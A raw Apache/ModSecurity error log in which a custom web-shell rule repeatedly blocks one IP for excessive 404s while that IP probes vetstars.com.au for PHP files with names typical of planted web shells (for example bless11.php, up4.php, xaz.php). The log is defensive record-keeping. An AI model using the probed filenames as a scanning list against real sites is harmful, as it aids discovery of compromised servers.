[Mon Mar 02 12:14:58.504577 2026] [:error] [pid 28908:tid 28914] [client 20.104.124.39:24641] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaUOwoqJmC8ih_lQQnBllAAAAMQ"]
[Mon Mar 02 12:14:59.106561 2026] [:error] [pid 14466:tid 14480] [client 20.104.124.39:25163] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaUOw_8w-ahEIiUSqM5UZgAAAcw"]
[Mon Mar 02 12:14:59.786947 2026] [:error] [pid 23872:tid 23886] [client 20.104.124.39:25230] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file48.php"] [unique_id "aaUOw0zkQFuA2qBk8UMO2AAAAYs"]
[Mon Mar 02 12:15:01.503963 2026] [:error] [pid 21575:tid 21585] [client 20.104.124.39:24991] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/info.php"] [unique_id "aaUOxSrocdArcJqFfIkdTgAAAUY"]
[Mon Mar 02 12:15:13.549109 2026] [:error] [pid 21575:tid 21593] [client 20.104.124.39:24709] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaUO0SrocdArcJqFfIkdegAAAU4"]
[Mon Mar 02 12:15:14.423734 2026] [:error] [pid 14466:tid 14488] [client 20.104.124.39:25159] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaUO0v8w-ahEIiUSqM5UegAAAdQ"]
[Mon Mar 02 12:15:15.067885 2026] [:error] [pid 23872:tid 23899] [client 20.104.124.39:25086] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaUO00zkQFuA2qBk8UMO-AAAAZg"]
[Mon Mar 02 12:15:15.815205 2026] [:error] [pid 28908:tid 28916] [client 20.104.124.39:24712] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/la.php"] [unique_id "aaUO04qJmC8ih_lQQnBmUwAAAMY"]
[Mon Mar 02 12:15:16.436492 2026] [:error] [pid 28908:tid 28933] [client 20.104.124.39:24732] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaUO1IqJmC8ih_lQQnBmXAAAANc"]
[Mon Mar 02 12:15:17.273757 2026] [:error] [pid 28908:tid 28926] [client 20.104.124.39:24759] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaUO1YqJmC8ih_lQQnBmYgAAANA"]
[Mon Mar 02 12:15:17.766565 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:24742] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaUO1YqJmC8ih_lQQnBmagAAAMs"]
[Mon Mar 02 12:15:19.031010 2026] [:error] [pid 28795:tid 28883] [client 20.104.124.39:24766] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bless11.php"] [unique_id "aaUO17ROd53wZBkdI_e_9QAAAJQ"]
[Mon Mar 02 12:15:20.153365 2026] [:error] [pid 23872:tid 23886] [client 20.104.124.39:24754] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaUO2EzkQFuA2qBk8UMPBAAAAYs"]
[Mon Mar 02 12:15:21.028405 2026] [:error] [pid 28794:tid 28855] [client 20.104.124.39:25000] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaUO2aVy2qpaelbUob2DHwAAAFM"]
[Mon Mar 02 12:15:21.811271 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:24753] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaUO2f-JFLfishX45N9qlwAAAQE"]
[Mon Mar 02 12:15:22.516340 2026] [:error] [pid 31257:tid 31279] [client 20.104.124.39:25247] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ccou.php"] [unique_id "aaUO2v-JFLfishX45N9qnQAAARA"]
[Mon Mar 02 12:15:23.129342 2026] [:error] [pid 23872:tid 23880] [client 20.104.124.39:24970] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaUO20zkQFuA2qBk8UMPFgAAAYU"]
[Mon Mar 02 12:15:24.178153 2026] [:error] [pid 23872:tid 23876] [client 20.104.124.39:25051] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaUO3EzkQFuA2qBk8UMPIwAAAYE"]
[Mon Mar 02 12:15:25.261480 2026] [:error] [pid 28794:tid 28849] [client 20.104.124.39:25006] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaUO3aVy2qpaelbUob2DKgAAAE0"]
[Mon Mar 02 12:15:26.041186 2026] [:error] [pid 23872:tid 23876] [client 20.104.124.39:24978] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ton.php"] [unique_id "aaUO3kzkQFuA2qBk8UMPMQAAAYE"]
[Mon Mar 02 12:15:27.001550 2026] [:error] [pid 28908:tid 28913] [client 20.104.124.39:24986] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUO34qJmC8ih_lQQnBmdQAAAMM"]
[Mon Mar 02 12:15:27.621553 2026] [:error] [pid 23872:tid 23890] [client 20.104.124.39:24711] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUO30zkQFuA2qBk8UMPOAAAAY8"]
[Mon Mar 02 12:15:28.635038 2026] [:error] [pid 28908:tid 28920] [client 20.104.124.39:24671] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUO4IqJmC8ih_lQQnBmhAAAAMo"]
[Mon Mar 02 12:15:29.538310 2026] [:error] [pid 14466:tid 14483] [client 20.104.124.39:24976] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/403.php"] [unique_id "aaUO4f8w-ahEIiUSqM5UjAAAAc8"]
[Mon Mar 02 12:15:30.017374 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:25156] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaUO4oqJmC8ih_lQQnBmnAAAAMk"]
[Mon Mar 02 12:15:30.543495 2026] [:error] [pid 14466:tid 14470] [client 20.104.124.39:24699] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaUO4v8w-ahEIiUSqM5UjwAAAcI"]
[Mon Mar 02 12:15:31.143445 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:25079] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaUO4_-JFLfishX45N9qqwAAAQQ"]
[Mon Mar 02 12:15:31.658725 2026] [:error] [pid 21575:tid 21589] [client 20.104.124.39:25191] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file9.php"] [unique_id "aaUO4yrocdArcJqFfIkd7wAAAUo"]
[Mon Mar 02 12:15:32.346851 2026] [:error] [pid 31257:tid 31265] [client 20.104.124.39:24657] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaUO5P-JFLfishX45N9qrwAAAQI"]
[Mon Mar 02 12:15:33.263269 2026] [:error] [pid 14466:tid 14488] [client 20.104.124.39:25161] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaUO5f8w-ahEIiUSqM5UkgAAAdQ"]
[Mon Mar 02 12:15:33.884196 2026] [:error] [pid 21575:tid 21593] [client 20.104.124.39:25038] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaUO5SrocdArcJqFfIkeAwAAAU4"]
[Mon Mar 02 12:15:34.398238 2026] [:error] [pid 28908:tid 28919] [client 20.104.124.39:25259] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ac.php"] [unique_id "aaUO5oqJmC8ih_lQQnBmwAAAAMk"]
[Mon Mar 02 12:15:35.637018 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:25029] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaUO54qJmC8ih_lQQnBmywAAAM8"]
[Mon Mar 02 12:15:36.422921 2026] [:error] [pid 28793:tid 28831] [client 20.104.124.39:25196] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaUO6A2_fxBANaHo1f5hZwAAABg"]
[Mon Mar 02 12:15:36.992593 2026] [:error] [pid 28908:tid 28925] [client 20.104.124.39:25003] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaUO6IqJmC8ih_lQQnBm2QAAAM8"]
[Mon Mar 02 12:15:37.848590 2026] [:error] [pid 31257:tid 31264] [client 20.104.124.39:25219] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/new4.php"] [unique_id "aaUO6f-JFLfishX45N9qvwAAAQE"]
[Mon Mar 02 12:15:38.504462 2026] [:error] [pid 23872:tid 23886] [client 20.104.124.39:25004] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaUO6kzkQFuA2qBk8UMPQAAAAYs"]
[Mon Mar 02 12:15:39.097562 2026] [:error] [pid 28794:tid 28843] [client 20.104.124.39:25229] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaUO66Vy2qpaelbUob2DPAAAAEc"]
[Mon Mar 02 12:15:39.638123 2026] [:error] [pid 31257:tid 31285] [client 20.104.124.39:25051] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaUO6_-JFLfishX45N9qzAAAARY"]
[Mon Mar 02 12:15:40.354884 2026] [:error] [pid 31257:tid 31276] [client 20.104.124.39:24644] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aaUO7P-JFLfishX45N9q0QAAAQ0"]
[Mon Mar 02 12:15:41.201601 2026] [:error] [pid 21575:tid 21600] [client 20.104.124.39:25028] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaUO7SrocdArcJqFfIkeQAAAAVU"]
[Mon Mar 02 12:15:41.945563 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:25087] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaUO7YqJmC8ih_lQQnBm8wAAAMs"]
[Mon Mar 02 12:15:43.078253 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:25054] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaUO74qJmC8ih_lQQnBm_wAAANg"]
[Mon Mar 02 12:15:43.608310 2026] [:error] [pid 21575:tid 21581] [client 20.104.124.39:24770] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/az.php"] [unique_id "aaUO7yrocdArcJqFfIkeXAAAAUI"]
[Mon Mar 02 12:15:44.481446 2026] [:error] [pid 21575:tid 21592] [client 20.104.124.39:24650] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaUO8CrocdArcJqFfIkeYwAAAU0"]
[Mon Mar 02 12:15:45.217436 2026] [:error] [pid 28908:tid 28921] [client 20.104.124.39:25069] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaUO8YqJmC8ih_lQQnBnDgAAAMs"]
[Mon Mar 02 12:15:46.240687 2026] [:error] [pid 28908:tid 28911] [client 20.104.124.39:25274] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaUO8oqJmC8ih_lQQnBnEAAAAME"]
[Mon Mar 02 12:15:47.031000 2026] [:error] [pid 14466:tid 14474] [client 20.104.124.39:24980] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xaz.php"] [unique_id "aaUO8_8w-ahEIiUSqM5UpQAAAcY"]
[Mon Mar 02 12:15:47.541770 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:25208] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaUO84qJmC8ih_lQQnBnIAAAAMA"]
[Mon Mar 02 12:15:48.027219 2026] [:error] [pid 28908:tid 28934] [client 20.104.124.39:24995] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaUO9IqJmC8ih_lQQnBnKwAAANg"]
[Mon Mar 02 12:15:48.966625 2026] [:error] [pid 28908:tid 28922] [client 20.104.124.39:25044] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaUO9IqJmC8ih_lQQnBnQAAAAMw"]
[Mon Mar 02 12:15:49.585778 2026] [:error] [pid 28793:tid 28821] [client 20.104.124.39:24714] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/up4.php"] [unique_id "aaUO9Q2_fxBANaHo1f5hbQAAAA4"]
[Mon Mar 02 12:15:50.170376 2026] [:error] [pid 23872:tid 23895] [client 20.104.124.39:24787] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaUO9kzkQFuA2qBk8UMPYAAAAZQ"]
[Mon Mar 02 12:15:50.736197 2026] [:error] [pid 28795:tid 28864] [client 20.104.124.39:25039] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaUO9rROd53wZBkdI_fAEwAAAIE"]
[Mon Mar 02 12:15:51.188163 2026] [:error] [pid 28908:tid 28930] [client 20.104.124.39:25067] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaUO94qJmC8ih_lQQnBngwAAANQ"]
[Mon Mar 02 12:15:51.737699 2026] [:error] [pid 28908:tid 28910] [client 20.104.124.39:25279] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1aa.php"] [unique_id "aaUO94qJmC8ih_lQQnBniAAAAMA"]
[Mon Mar 02 12:15:52.723594 2026] [:error] [pid 31257:tid 31267] [client 20.104.124.39:24981] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/elp.php"] [unique_id "aaUO-P-JFLfishX45N9q5AAAAQQ"]
